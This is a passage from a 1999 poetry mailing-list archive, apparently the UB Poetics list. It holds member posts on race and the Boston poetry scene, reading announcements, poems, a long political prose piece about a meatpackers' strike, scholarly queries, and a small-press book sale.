>between races with no money, etc. Almost like anywhere, but with a
>particularly icy vengeance. Maria Damon, you may recall that miserable
>failure, the "Where's Boston" campaign from about 25 years ago, which was
>just as much about the "who" and the "what" as the "where".

>
>So I think I understand the ambivalences of the city, and the impact it can
>have on the writing of those who come or stay. Especially in the shadow of
>NYC, or in contrast to the New West, or That Other Happening Country Up
>North, or in light of internalized anguish for having never been the
>"center" of a "movement" of innovative note, for all its heavily endowed
>schools, not to mentioned its fabled unsophisticated accent. So many
>rulers to break. What does this really have to do with what the writers at
>the Alt Bo Po conference presented? Nothing, really. The organizer made
>some choices, the readers made some choices, interpretation was open,
>everybody went home with more than they brought, and there it is.
>
>(Thanks, Jack Kimball, for sharing with us your what you saw and heard at
>the conference. I really felt like I was there during the Emily Dickinson
>parade.)
>
>For all of my literary life in Boston, I was the only Boston native in my
>community, which was at that time The Dark Room Writers Collective, for
>nearly 10 years. There were about 15 of us at the best of times.
>
>We thought we were an alternative, simply for providing workshops and a
>reading series that featured writers of African descent, and we were. On
>our schedules were Erica Hunt, Julie Patton, Nathaniel Mackey, Ntozake
>Shange, John Keene (DR member), Sam Delany, Dolores Kendrick, Kofi
Natambu,
>Kevin Young (DR member) David Henderson, Harryette Mullen, myself, and a
>particularly memorable tribute to Bob Kaufman in 1990.
>
>(And while I'm glad Prageeta Sharma and Will Alexander were in the house at
>this Alt Bo Po, yeah? Alternative for whom is another question. I
>forwarded the event announcement to my friends back East; none of them had
>even heard of it. Who's counting who's missing? What makes an
>alternative? Where/when does the audience come in? etc. etc.)
>
>Anyway, writers who wouldn't necessarily be considered "avant-garde" were
>also on the DR schedule. My point? Just that. It was an accessible
>alternative (yes, Jacques, the "slipperiness of the term") to what
>Harvard/BU/MIT/Northeastern offered (the series was in our home, and had
no
>support/connection to any of them; we paid out of pocket for everything
>with our dues), and made a difference, to those in the know and those just
>getting to it. What did it say "about" "Boston" poets? Nothing, really,

>or something predictably unsavory, since when someone said something
>"about" "Boston" poets, they didn't, and rightly couldn't, mean "us" (well,
>excluding me, I guess).
>Everyone was from everywhere, and would go back out "there" at some point
>to get more of what they brought with them. About innovation and
>experimentation? That everyone, at some time or another, did a little
>something, some more often than others, it was all about seeing the
>threads, potential of the past, and the dangers of the monolithic. About
>the scene? Well, some deserved praise unfortunately frequented by the word
>"renaissance", but praise nonetheless (and sure enough, it's over now).
>And nice, donation bearing crowds. It was a lot of work, very trying, and
>a lot of fun.
>
>Was Boston turned into a colored writers' mecca? (Kevin Killian, I'm
>thinking about what you said re: the Boston/Vancouver connection). No, it
>most certainly wasn't. Sometimes there's no overcoming history. (Damn Red
>Sox!)
>
>Will it turn itself into what Vancouver has? Who's to say it hasn't? But
>I must say, if it wasn't for Harvard/MIT/BU, (and occasional treks to
>UMass/Amherst and, gasp! Yale) I would never have seen in such numbers
the
>experimentalists (my definition) I did see over the years there, actually,
>for all their conservatism and misapprehension of the term "outreach".
>
>What was happening then in the DR was necessary but not perfect, as the Bo
>Po conference certainly was and was not, and other things will be and not
>be.
>
>Surely, as one of the few "avant-garde" writers within the Collective, I
>certainly wanted more from our scheduling and focus, but was glad to get
>what I got and give what I gave.
>
>Tisa
>
>
>**********
>Today we declare:
>First, they are living in a Nono form;
>Second, they are Nono lives;
>Third, they make us feel Nono;
>Fourth, they make us become Nono;

>Fifth, we Nono.
> Lan Ma
> "Manifesto of Nonoism"
> (Chendu, China, May 4, 1986)
>**********

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120. peter neufeld
Would someone
Mon 9 Aug 1999

please backchannel contact info (preferably e-mails) for Parjeeta Sharma and the coordinator of Zinc Bar readings. Thanks. Pete Neufeld
_____ Do You Yahoo!? Bid and sell for free at http://auctions.yahoo.com

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121. R Democracy
Re: Reading Announcement (please circulate)
Mon 9 Aug 1999

Errata! Akilah's book is published by Smokeproof, not that mistake I had earlier.
>
> Announcing Poetry Reading Series at Women's Bookstore!!!
>
> Akilah Oliver (the she said dialogues, Smokeproof Press, 1999) and
> Marcella Durand (City of Ports, Situations, 1999) will inaugurate the
> BELLADONNA* Reading Series, curated by Rachel Levitsky.
>
> At the Bluestockings Women's Bookstore at 172 Allen Street
> between Rivington and Stanton on the Lower East Side of Manhattan
> Thursday, August 26 at 9:00 pm.
>
> Contact [redacted] for info. (There will be 15 minutes provided for
> open readers).

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122. R Democracy
could I borrow some sugar?
Mon 9 Aug 1999

Hi all,

Gee, I feel so suddenly present again.

I need some emails and snailmails

emails:
Amy Sarah Carrol
Jackie Woodson
Erica Hunt
Lyn Heginian
Tracie Morris
Gail Scott
Erin Moure
Laurie Price

Snail:
Kim Lyons

thanks a million,
Rachel

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123. Lynn Miller
TAN LEJOS HEMOS LLEGADO LOS ESCLAVOS!
Mon 9 Aug 1999

BLACK TAMBOURINE

Because I felt the boss suspected I resembled what I saw
I emptied those emotional outbursts, those tempests of passion,
and made a mistake my first five minutes in the white world.

I was shovelling horseshit the day they walked on the moon telling myself there must be good white people, with money and sensitive feelings, or had I been kept out of their world too long

ever to become a real part of it? I longed to be among them, yet when among them I looked at them as if I were a million miles away. She gave me the ticket and I sat looking at the shadows on the screen.

By imagining a place where everything was possible, I kept love alive in me, and got used to seeing the prostitutes sitting nude around their rooms, though I'd steal sidelong glances at them.

Their nakedness startled me as would a blue vase or persian rug. I was learning new modes of behavior in how to live the Jim Crow, how to watch them, observe their every move, every expression,

how to interpret what little was said, and how much they left unsaid. We went to the waterfront and sat on a knoll, watching the barges. "I just won't let you eat out of a can in my house," she said.

(I was used to hunger and didn't need much to keep me alive.) I am one of those who tried to conceal their plantation origin from among the washerwomen who moaned and shouted hymns.

The invitation said: "Tea and conversation. A spacious view." It was a harmless social gathering, or convocation of murderers. They did not attach to words the same meanings that I did.

Richard Wright

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124. Rodrigo Toscano
NYC Sublet Needed
Mon 9 Aug 1999

Dear Listees...

Laura Elrick and I (Rodrigo Toscano) are looking for a one-bedroom apartment in New York City (all burroughs ok) -- permanent -- or sublet (4 or more months) (studio ok)...move in date anytime after September 15th...

any info would be helpful!

Rodrigo Toscano

[redacted]

[redacted] (daytime)
[redacted] (nighttime)

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125. Charles Bernstein
riding poem
Tue 10 Aug 1999

David,

Wonderful poem you pulled out of this and very funny, as always, intro! thanks!

Charles

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126. juliana spahr
chain 6 now available
Tue 10 Aug 1999

now available

CHAIN 6: letters

Will Alexander • alphabets • archival finds • Kathy Dee Kaleokealoha Kaloloahilani Banggo • Régis Bonvacino • William Burroughs • Norma Cole • correspondences • Franck David and Marie Nimier • Johanna Drucker • essays on the letter e and Emily Dickinson's letters • Mara Gálvez-Bretón • Susan Gevirtz and Myung Mi Kim • glyphs • Lyn Hejinian and Joan Retallack • Adeena Karasick • Bill Luoma • letters from the front • love letters • Nathaniel Mackey • Bernadette Mayer • Nick Piombino • Meredith Quartermain • Peter Quartermain • Albert Saijo • Andrew Schelling and Anne Waldman • Ron Silliman • Ardegno Soffici (with translation by Guy Bennett) • typographic poems • valentines • Keith Waldrop • Marta L. Werner • and more

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YET ANOTHER SAD STORY TO URGE YOU TO PLEASE SUBSCRIBE: Chain remains pathetically underfunded. The only institutional support we get is in mailing costs (last year when one of us went to the dean requesting some minor monetary support for Chain, she was told that the department doesn't need to have any journals in this era of budget cuts).

To break even on printing costs, all we need is around 350 subscribers. While we easily get 350 submissions for an issue, we have trouble keeping a subscription base of half that going. We know our situation is not unique. We urge those of you that value, submit to, and/or publish in independent journals to support them by subscribing.

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Send to: Juliana Spahr / Department of English / University of Hawai`i, Manoa / 1733 Donaghho Road / Honolulu, Hawai`i 96822.

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127. Eugene Ostashevsky
PAUL LAFARGE, THU AT CLEAN WELL-LIGHTED
Tue 10 Aug 1999

Hear Paul LaFarge read from his first novel, The Artist of the Missing (Farrar, Straus & Giroux, 1999), about itinerant judges, fantastic cameras, talking dolls, fish, the moon, and other topics of general interest.

When: Thursday, August 12 @ 7:30 pm
Where: A Clean Well-Lighted Place for Books
601 Van Ness
San Francisco, CA
[redacted]

"The visual details of Lafarge's novel are those of a stylish and somewhat morbid cartoon. We have entered a metaphysical world where illogic rules and whatever can be imagined is possible." (SF Chronicle)

"A poised and playful homage to the storytelling impulse... explores the sort of shifting dreamscapes we encounter in Fellini, Borges and Lewis Carroll." (New York Newsday)

"In The Artist of the Missing, San Francisco writer Paul LaFarge has built a city for love stories, a place as dimly remembered as a midnight telephone call, as broken and luminous as abandoned streets seenthrough a whiskey tumbler." (San Francisco Magazine)

Find the Artist of the Missing on the Web at http://www.paraffin.org/artist/

9X9 INDUSTRIES http://www.paraffin.org/nine/
[redacted]

NINE MUSES
NINE HEAVENLY SPHERES
NINE ORDERS OF ANGELS
NINE NAMES OF GOD

AND AUGUSTINE
AND A PEAR TREE

↑ Index

128. KENT JOHNSON
Lynn Miller's strong stuff
Tue 10 Aug 1999

Impressed and intrigued by Lynn Miller's pieces on the List of past couple or three weeks, a bit surprised no one else has commented. Very different and daring it seems to me. What seems new is how an over-drived analytical/historical bent exudes an odd and compelling lyricism, though that suggests too much that the latter is the byproduct of the former. Maybe it's the other way around, which would make it more interesting, actually. Whatever the case may be, I'm sure other people are noticing too. Keep it moving, Lynn Miller, whoever you are.

Kent

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129. Scharf, Michael (Cahners -NYC)
19th C. Po&sie
Tue 10 Aug 1999

Would very much appreciate recommendations of

(1) A one-volume anthology of canonical (now) 19th Century French poetry that has the French en face, and has, preferrably, plain prose translations? (If not, maybe non-rhyming etc. translations?) Out-of-print OK.

(2) Favorite English/French en face editions of Baudelaire, Rimbaud, Verlaine, Mallarme, Laforgue.

Thanks -Mike

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130. Karen Kelley
Re: Ethnicity and the BoPoFest
Tue 10 Aug 1999

> The more important question in discussing the BoPoFest, each of which I
> participated in, is ethnic inclusion. I haven’t done a scan like Dan
> Bouchard did (ie: Boston, non-Boston) as per ethnicity, but the ratio has
to
> be -- at best -- in the 5:1 range.
> I think it's like the cafeteria at college, where everyone sits in their
> clicks, be it by color, ethnicity, sports team, yearbook or pep squad.
The
> idea of the other is so frightening, and the desire to learn of it so

> far-fetched, that people - most anyhow - stick within their wee community. I
> expect it of the masses, but not from the creative types, especially within
> the confines of this event.

Being from Boston, this post caught my eye. I guess I'll say it flat out: Boston
is the most racist place I've ever lived. Granted, I went from there to New York
& on to San Francisco--so maybe Boston just looks bad by comparison. It all

seemed quite civilized on the surface: the neighborhoods were segregated and everyone knew which lines not to cross. Maybe it's changed since I left

15 years ago, but I kind of doubt it.

↑ Index

131. A H Bramhall

A Course Thru Any Boston

Tue 10 Aug 1999

---

first off (if you're
willing): explain how the facts could
distort so easily. the latest
tracking says
easily definable community
works against itself. it's
so obvious. the endless pressures make facts
funny. fielding questions day and
night: what's that about? is jumble
the tune of
expectation? yes, for now, those edges
will do. the hand holding makes circle:
get it? a clue to
your relief. container for the
thing contained: get it? pattern forms on a
hunch then the brittle twist which is
absolute importance
gains a voice. here's where the
career begins (not that
anyone listens), but don't
be afraid or
fall too quickly. you have

wiggle room. you've seen the
process exist in detail (it's
all about you). caution can steam thru
the neighbourhood, yelling ANY TRUCK
like a banshee, because
that's a belligerent image trying to
clock a world speed record. appropriate
what you need, no cops are
around, you have a
chance. you face open season on
the New Whatever but
why bother. too busy just
building the cannon, and the
shock of what it can kill
and why. inside out but throw away your
distress. it's a loveless
climate unless you reach the end of
the circle. that is, you hold hands.
the friendly name for this is
engagement. trickle down theories work
with sensational ease
and a hefty inventory. some day you'll
look back and see that
presence was charged, bigtime.
now it's a matter of equal rights for
equal pay, snappy
phraseologies against the
living dead. STRAIGHTEN UP, PROCESS SERVERS: the
theory is bound to get a wake up call
and you'll be pulled too. you like that
framework, bleeding poems with an eye on
the clock. being busy, you'll be
happy with any advice. the point
is to squeeze thru the
narrows, leap over the latest
log jam, ratchet up the
concern levels and
quickly churn the showdown. back and forth
with community standards, the best
cage you can imagine. that can't be
the final note because
kindness has to matter

as a gravity well. and it
will. Hell has been
conveniently shaved of doubt but
ignore that. the desperation begins
outside the charmed circle
before the map can be invented. that's why you
need not get gussied up. the vocabulary
has always been yours. what you
choose to throw off proves
what matters most. no
musical phrase can blanket that. you can
have your cannon now.

↑ Index

132. Mark Prejsnar

Re [2]: cut-ups

Tue 10 Aug 1999

At 10:45 PM 8/6/99, Jacques Debrot wrote:
>Apologies for the second note. I just wanted to add that, while connecting
>the cut-ups to recent developments in Web technologies is certainly
>legitimate, you'd also want to avoid the dangers of historical
>de-contextualization. Burroughs's work emerged after all at a crucial
>moment--along with Cage's & Ashbery's--when 60s artists were confronting
>commodity culture really for the first time. Related issues such as the
>homosexualization of the New York avant-garde, the conflicted reaction
>against Abstract Expressionist culture, the initial & then-ongoing US
>reception of Dada, as well as-- to the extent that this was being played out
>on 2 continents--Burroughs's & Ashbery's relations with & attitudes toward,
>for example, TEL QUEL, are all issues that, although they don't each have to
>be considered in the context of your study, nonetheless give Burroughs's
>cut-up method a specific rather than a merely analogical & general
>significance.
>
>--jacques

Jacques,

I would be interested to hear what you feel connects the
"homosexualization of the New York avant-garde" with cut-up technique....
(beyond the fact that some gay guys did it....)

--Mark Prejsnar

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133. Jennifer c Coleman
Jacataqua
Tue 10 Aug 1999

I'm looking for information about "Jacataqua" -- essay by William Carlos Williams in __In the American Grain__. The piece touches on Aaron Burr's interaction during the Revolutionary War with the Abenaki Indians. WCW describes the woman Jacataqua as an Abenaki "sachem" or chief, but I can find no other historical reference to her -- anybody know if she existed? Thanks. Allison Cobb

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134. derek beaulieu
STANZAS #20
Tue 10 Aug 1999

---

still available:
STANZAS #20
Eulogistics - Victor Coleman issue

- Toronto writer Vic d'Or is the original "mindless acid freaK", involved w/ so many things its hard to keep track, including the original Coach House Press & the current Coach House Books. his poetry books include LAPSED W.A.S.P., Stranger, Terrific at both Ends, SPEECH SUCKS & the day they stole the coach house press. Eulogistics is from The Exchange, Poems 1984-95, out any day now from The Eternal Network (A Division of Coach House Books - http://www.chbooks.com).

STANZAS magazine, published at random in ottawa by above/ground press. edited by rob mclennan for long poems/sequences. distributed free, or $10 (canadian) for 5 issues. reads submissions constantly, up to 20 pages. next issue - Natalie Hanna

-- poet/editor/publisher... ed. STANZAS mag & Written in the Skin (Insomniac) publisher, above/ground press...coordinator, the ottawa small press fair & Ontario rep, The League of Canadian Poets...snail-mail c/o rob mclennan, rr#1 maxville on k0c 1t0 * 3rd coll'n, Manitoba highway map (Broken Jaw)

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135. Lynn Miller
CONTEXT IS EVERYTHING
Tue 10 Aug 1999

Window above me.
I don't remember reaching for them, watching was enough.
It was not and never is. It occurs to Kleist to wonder
whether the rumors that emanated from Mainz about this poet
when we know that their morals consist in a secret
and a few dull examples clapped in front to make a show
and screen, and when we know that their "legitimacy"
is the most unlawful of all lawlessness when we know this
how could we not turn such a death against the enemies
of Mr. Shelley, see this royal bedlam bigot range . . .

\\\\\\\ [+] ///////

America. History. Prophecy. What have we learned. The memory of Malcolm at the meatpackers' meeting, the local's last meeting: The Rank and File Packinghouse Workers Conference, Austin, Minnesota, May 1-3, 1987. Rowenna Moore, the gracious elder, keeper of his birthplace in Omaha. Her escort of Black Muslims. When Connie Moore crowned her Honorary Member of Local P-9 and gave her a bouquet of flowers, several of the union women wept. The making of Black Revolutionaries. Increment of shrill isolation and vulnerability to assassination. Hog pens and silos among church steeples puncturing the village horizon like shared needles thrown away on a playground in East Cleveland. The unorganized. The unemployed. 120 million working women and men. The industrial unions. "I got my eyes on the ranks." The Beauty of Black Nationalism permeated the room, a single meeting room in what would never again be an anonymous town in the midwest, a white town, white leaders who had only for a memory when they decided to defy the odds and strike, the legacy of King and the civil rights movement they needed to convince their union that it was time to draw the line. The leaders were the ones who emerged and took command, given command, because of their demonstrated dedication to the course of action the membership had chosen. At the end of the strike they were reduced to meeting in a single room, one room could hold all of them all of whom had once numbered so many I couldn't believe the strike had undone so many, 800 workers and their families and supporters who overflowed the national guard armory to hear speakers at rallies to raise money and confidence and consciousness as to why they were making this sacrifice, their livelihoods, their lives, like the striking stewardesses from TWA, and coal miners from the UMWA. You strike. You make a collective decision and you cannot go back. There is no previous point in time to return to before you had to make as a membership that single, excruciating decision to

deny your labor and your labor power and go up against the production and the profits of the company you have depended on for years. The town depends on the company and the town doesn't want you to fight and won't support any fight that will take the money and maybe even the comapny out of town. The town appears on the sidewalks and watches, silently, the frayed thread of union members and their families and the 'out-of-towners' demonstrate down Main Street waving signs demanding Justice and Solidarity and declaring hatred of GREED, an allegorical figure straight out of Piers Plowman, and you recognize with a shock that the folk are ancient, that there are recesses or zones in the inner cities and in the countryside that the Media can't penetrate, can't control. But the task of the Malcolm-Leninist on this particular day was not to lie. Everyone else was lying to them, nodding their heads like the couple of DSA professors from the University of Minnesota hanging around. The illusion that the strike was still alive needed to be destroyed. He dispelled their fantasies about the boycott and an independent union. My company, my union, my town, my job. You cannot be leaders because who do you represent. You are only as strong as the people who march by your side. What the road ahead looks like. All roads do not lead to this small town. The worker-bolsheviks were there to challenge the few workers left to think about the long road, and place the Strike within a perspective of class struggle in the United States. The high road of open class war will lead to Pennsylvania Avenue. Nobody was going to disagree that the union bosses in the UFCW weren't bums and needed to be kicked out and nobody was going to argue that the International hadn't sold the Local down the river and even authorized the use by the Company of scabs to break the strike. But what the worker-bolsheviks put on the table was their argument that the strike was over, and the fight just beginning. The task was to look past this decade and into the next one, the last one, and into the next century. The strike broke the rout of the labor movement driven home to every worker in this country at the time of the intervention of Washington in declaring the air-traffic controllers' strike at the start of the decade illegal. There wasn't any boycott or any other magic trick that would bring back the 800 who went out and stayed out for 18 months and made their union unlike any union the working class has seen in 50 years. The North American Proletariat is not an inert mass of millions of faces waiting to be led into battle, the coming class war. We represent a plurality of potential. Dispel the illusion that you can bring back those workers who marched down mainstreet behind you in April and filled the local high school gym and the armory in January. They were gone. They got new jobs in strange towns and went back to the work of working to survive. You are the handful left, the circle elected at the moment when the Company had made its ultimatums who could smell more than your own private lives in the air, something your local still had from the 30s, like a tradition, or memory, or history: the victory of the sit-down strike led by Frank

Ellis (who came up through the IWW and it’s not impossible that he knew Jack Spicer’s Dad). Nobody argued that. Nobody was saying that this strike 50 years later hadn’t been fought hard nor well. But it was time to insist on what we have been saying, that a war is fought on many grounds, in many forms. A fight begins over a particular contract and specific demands when the conditions inside the plant propel the membership into risking their jobs for--that’s just it, they don’t know what it is exactly for what they refuse to work under the same conditions or under worse conditions, they only know that they are breaking some law written in stone. The decision is political. It was time to dispel the illusion that some man or woman out there in that fantasy land called TV is going to save you no matter what their color is nor what their best intentions are they cannot and will not save you. Their courts are not our courts, their cops are not our cops, their laws are not our laws, their government is not our government. We have nothing but what strength we gather by uniting. There is a crisis coming that will shake this nation to its foundations and there are only two roads, and we are at that crossroads here, in this room: there is the road we must take and with as many as we can in alliance and solidarity and then there is the road they have to offer that ends in a swamp of decayed cities, millions of unemployed, homeless and hungry, divided by race riots, bread riots, misery and despair. That’s the road they hold out to us, and they want us thinking all the time that it’s called something like "opportunity knocks," or "get your money while you can." The future they have to offer us is a future too horrible to contemplate, horrible if you hate the waste of human life. There is no value higher than the value of each and every human being brought into the world. Every life contains an inestimable potential to contribute to the future and progress of the human race. Every death, every denial, every oppression is an act of barbarism, a savagery against all that we have achieved in the thousands and tens of thousands of years since we first emerged from caves and took up a stick or rock for a tool. The origin of the human will to advance and develop and evolve into the infinite powers of our species. WE MAKE OUR OWN HISTORY. There were four long tables in the room. Maybe there were 30 workers in the room. Around the room on the walls were the gigantic photographs from the strikes in the industry in the 30s and then again in 48, the year of the last great strike wave. Cops and soldiers in riot gear with guns facing the crowd of workers armed with pickets and placards. The confrontation. This is where we will arrive. It is called History Materialism. Enemy of abstract and preconceived ideas. Enemy of the will to speculate about experience. Enemy of dreaming up a scheme and imposing that scheme on reality: a specific and fluid process of situations and contexts capable of combining and coming apart at any given stage or phase. Enemy of mists and mirrors. I can see him speaking. The figure of the Black Revolutionary that embodies and simultaneously transcends the limitations of his origins in

Malcolm X since he is something more, a new power: a communist who has not existed before. The measure of his own strength is found in an identity indissoluble from the identity of the cadre, a unity of decisive intention, the myth of a unified purpose, or a unity of purpose to take the State. No one can predict that. You can’t isolate a leader from the ranks who are one body, a single voice with multiple inflections respective of personality, race, sex, age and social origins. A single determination, a single will to build forces and join forces, increasing forces, reading and readying for the relation of forces. There is the recognition that you can win when your face dissolves into the faces of the millions of others who see themselves as they must see their highest image of themselves in the face of the communist that does not belong to any individual, any leader, any hero. It is the face and fate of a common humanity they will see when they give their lives.

\\\\\\\ [+] ///////

We are led past the evidence of our own graves
into thinking one day there will be justice.

cf. William Cullen Bryant,
"the proud meaning of his look"
pp. 252-53 in The Best Loved Poems
of the American People, 1936.

see also:

1. "Oser inventir l'avenir:
La parole de Thomas Sankara"
PATHFINDER & L'HARMATTAN
5-7 rue de l'Ecole Polytechnique
75005 Paris

2. Ernesto Che Guevara:
"Pasajes de la guerra
revolucionaria: Congo"
MONDADORI, 385.08013 Barcelona
http://www.grijalbo.com

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136. david bromige
Philip Whalen reading in SF
Wed 11 Aug 1999

Michael Rothenberg has requested that I post this notice to the List. Which I do gladly!

Celebratory reading from OVERTIME: SELECTED POEMS BY PHILIP WHALEN, will be held on Saturday, August 21, 1:00-3:00 PM at Cowell Theater, Ft. Mason, S.F.(car entrance to Ft. Mason Center is at Marina Blvd. and Buchanan). Guest readers will include Lawrence Ferlinghetti, Joanne Kyger, Gary Snyder, Michael McClure, Diane di Prima, Michael Rothenberg, David Meltzer, Clark Coolidge, Norman Fischer, Leslie Scalapino, Bill Berkson and Dave Haselwood. Philip Whalen will attend. Admission is free.

db

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137. **Lowther,John**

FW: 7th Annual John Cage Birthday Tribute (NYC)

Wed 11 Aug 1999

> *7th Annual John Cage Birthday Tribute*
> *Sunday, September 5th, 1999*
> *Video at 6pm, Reading at 7:30pm*
> *@ Danspace / St. Mark's Church*
> *10th Street & 2nd Avenue*
> *Admission is Free*
>
> *For Immediate Release:*
>
> *The 7th Annual John Cage Birthday Tribute will take place Sunday, September 5th.This year's Tribute will be divided into two parts, a video at 6pm and a reading at 7:30 pm. The event is presented in association with Danspace Project at St. Mark's Church. Admission is free.*
>
> *The video documentary, called "I Have Nothing to Say, and I Am Saying It," was produced by Vivian Perlis and Allan Miller. Made two years before John Cage died, it contains priceless candid interviews interwoven with clips of him as he collects mushrooms, plays chess with Duchamp's wife, plays a conch for Merce Cunningham, and directs a rehearsal for a radio ensemble piece. For those who have never seen or heard John Cage, this video is a wonderful introduction. For those who knew him, it is deeply moving.*
>
> *Afterwards at 7:30 pm, people who knew John Cage personally (many of whom appear in the video) will read from Indeterminacy, a collection of stories, each lasting exactly one minute regardless how many words are in it (so that the longer ones are read quickly and the shorter ones slowly).*

> *Some*
> *of the stories are printed in A Year from Monday (pp 133 to 140) under the title "How to Pass, Kick, Fall and Run.4 "ther stories appear interspersed in Silence.*
>
> *The video is one hour and the reading will run about ninety minutes. Admission is free and all are welcome. For further information, send email to [redacted] or call the Danspace Project at [redacted].*

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138. Eugene Ostashevsky

Brandon & Brendan at Caffe' Proust, Sunday at 9

Wed 11 Aug 1999

Poetry Reading at CAFFE' PROUST
Sunday, August 15, 9PM
Corner of BAKER & McALLISTER (2 bl. W of Divisadero, 4 bl. N. of Fell)
Free

The readers are:

BRANDON DOWNING, editor of the first issue of _6,500_, the magazine of 9X9 Industries;

BRENDAN LORBER, editor of _LUNGFULL!_ magazine (NYC) and co-host of the reading series at the Zinc Bar on Houston.

The show is emceed by EUGENE OSTASHEVSKY, recently voted Most Mellifluous in a readers' poll held by the _REVUE DES EQUIVOQUES_.

CAFFE' PROUST, hidden in a quiet redsidential neighborhood in the geographic heart of the city, combines exquisite foods of Italy, France and California, dollops of high culture, and a warm ambiance for reasonable prices. Fine wines, beer, coffees, dinners and desserts are served until 10pm.

A sample of Brandon Downing's work:

from 68 QUICK POEMS

1.
A nice guy against
A night sky

2.
Then, in 1876
The eulogies and elegies
Finally defeated
The odes

THE SHIRT WEAPON

So your hand lights up and you finally shoot yourself
Your apparent worries become isolated, miscellany
Whether you're the Macchu Picchu, whether I'm the Gulf
My shirt is my weapon, my enemy tyranny

This reading brought to you by the Association Culturelle _Albatros_, member of the Crony Island of the Mind

Our mottoes are: 1) Prince des huées; 2) Gordo reiem
Eugene Ostashevsky, General and Particular

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139. Irving Weiss
Samuel Greenberg
Wed 11 Aug 1999

Anyone know anything in the last few decades written about Samuel Greenberg, him alone or his influence on Hart Crane? That is, apart from the Greenberg web site . Be grateful for any help.

Irving Weiss

http://members.tripod.com/~sialbach/

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140. David Kirschenbaum
Boston poetry community as part of racist Boston? Geez.
Wed 11 Aug 1999

> *Karen Kelley wrote:*
>
> *Being from Boston, this post caught my eye. I guess I'll say it flat >out: Boston is the most racist place I've ever lived. Granted, I >went from there to New York & on to San Francisco--so maybe Boston >just looks bad by comparison. It all seemed quite civilized on the >surface: the neighborhoods were segregated and everyone knew which >lines not to cross. Maybe it's changed since I left 15 years ago, >but I kind of doubt it.*

I'm not from Boston, and, hell, as a Yankees fan in 1978 even owned a "Boston Sucks" T-shirt, until my mother found out about it and made my sister take it back, but geez, no matter how racist Boston may be --and I've heard horror stories from many former residents, and, back to baseball, the Red Sox were even the last team to integrate, Pumpsie Green in 1959, if memory serves me right, a full 12 years after Jackie Robinson and Larry Doby--but from the poetic community I know their isn't even a subtle form of racism. None. Zip. Nada. The ideas of neighborhoods being segregated and knowing the uncrossable

lines relates to just about any major metropolis, including San Francisco and New York, each of which I've lived in, the latter for most of my live. Instead, again, I think it's simply ignorance rather than racism, that at times leads to non-diverse events and publications, sometimes even my own. It takes an extra effort to be inclusive, be it simply through inquiry or attending more ethnically and racially diverse reading series. Be Good, David

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

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141. Taylor Brady
Re: Samuel Greenberg
Wed 11 Aug 1999

Irving,

If memory serves (and being at work without my books at hand, that's a fairly large "if"), Samuel Delany has an essay on Greenberg in his _Longer Views_ collection that explores some of the Crane connections. Dovetails nicely, also, with the fictional treatment of Crane in his _Atlantis_.

Taylor

-----Original Message-----
From: UB Poetics discussion group
[mailto:[redacted]]On Behalf Of Irving Weiss
Sent: Wednesday, August 11, 1999 12:56 PM
To: [redacted]
Subject: Samuel Greenberg

Anyone know anything in the last few decades written about Samuel Greenberg, him alone or his influence on Hart Crane? That is, apart from the Greenberg web site . Be grateful for any help.

Irving Weiss
http://members.tripod.com/~sialbach/

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142. George Bowering
Re: Jacataqua
Wed 11 Aug 1999

> *I'm looking for information about "Jacataqua" -- essay by William Carlos Williams in __In the American Grain__. The piece touches on Aaron Burr's interaction during the Revolutionary War with the Abenaki Indians. WCW*

> *describes the woman Jacataqua as an Abenaki "sachem" or chief, but I can find no other historical reference to her -- anybody know if she existed? Thanks.*
> *Allison Cobb*

I once knew, when I was looking into it re Hart Crane's poem.

George Bowering.

,

fax: [redacted]

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143. K.Silem Mohammad

Re: Farm Implements? -Reply

Wed 11 Aug 1999

Jeffrey Jullich wrote:

> *I'm distressed, though, that I cannot find a journal article I read >on "Farm Implements and Rutabagas", by Reva Wolf. It appeared in a >literary journal that I chanced upon in our Periodicals Room, but now >I can't remember which.*

That very interesting article is in _Poetics Journal_ No. 10.

K. Silem Mohammad

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

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144. Steven Clay

Granary Books blow-out sale!

Wed 11 Aug 1999

Wednesday August 11, 1999 Granary Books is moving cross town at the end of August. We'd like to lighten our load of office inventory and are thus offering the following Granary publications at EXTREME SAVINGS:

Discount is 50% on the following titles:

ARTISTS BOOKS: A CRITICAL SURVEY OF THE LITERATURE by Stefan Klima. 1998. Paperback. 109 pp. "A thoroughly useful guide." Johanna Drucker. ISBN: 1-887123-18-0. Was: $17.95 NOW: $8.98

THE BOOK SPIRITUAL INSTRUMENT edited by Jerome Rothenberg and David Guss. 1996. Paperback. 160 pp. Illustrated. "... new worlds carved out of the

wilderness of human thought and language." Charles Bernstein. ISBN: 1-887123-08-3. Was: $21.95 NOW: $10.98

THE CENTURY OF ARTISTS' BOOKS by Johanna Drucker. 1995. Illustrated throughout. 377 pp. "A crucial contribution to the history of the book in visual culture." Buzz Spector.
Paperback. ISBN: 1-887123-02-4. Was: $24.95 NOW: $12.48
Cloth. ISBN: 1-887123-01-6. Was: $35 NOW: $17.50

THE CUTTING EDGE OF READING: ARTISTS' BOOKS by Renee Riese Hubert & Judd D. Hubert. 1999. Hardback. 265 pp. Illustrated throughout in color and black and white. ISBN: 1-887123-21-0. Was: $55 NOW: $27.50

FIGURING THE WORD: ESSAYS ON BOOKS, WRITING, AND VISUAL POETICS by Johanna Drucker. 1998. Paperback. Illustrated throughout. 312 pp. ISBN: 1-887123-23-7. Was: $24.95 NOW: $12.48

THE HISTORY OF THE/MY WOR(L)D by Johanna Drucker. 1995. Artist's book with text, images and layout by Drucker. Black, white and red printing. Hardback with letterpress dust jacket. 8 1/2" x 11", 40 pp. ISBN: 1-887123-06-7. Was: $50 NOW: $25

LOG RHYTHMS by Charles Bernstein and Susan Bee. 1998. 22 pp. Artist's book with text by Bernstein and images by Bee. 8 1/2" x 11" black and white; color cover. Paperback. ISBN: 1-887123-25-3. Was: $35. NOW: $17.50

A SECRET LOCATION ON THE LOWER EAST SIDE: ADVENTURES IN WRITING: 1960-1980: A SOURCEBOOK OF INFORMATION by Steven Clay and Rodney Phillips. 1998. A co-publication with the New York Public Library. 340 pp. Paperback. "... a Proustian hit of youthful exuberance, a glance at a time when artists built a community apart from the imprimature of the academy." Village Voice. Illustrated throughout. ISBN: 1-887123-20-2. Was: $27.95 NOW: $13.98

TED BERRIGAN: AN ANNOTATED CHECKLIST by Aaron Fischer. 1998. 68 pp. "I will treasure this book." Ron Padgett. Illustrated throughout in black and white and color. Features many collaborations between Berrigan and George Schneeman. ISBN: 1-887123-17-2. Was: $32.95 NOW: $16.48

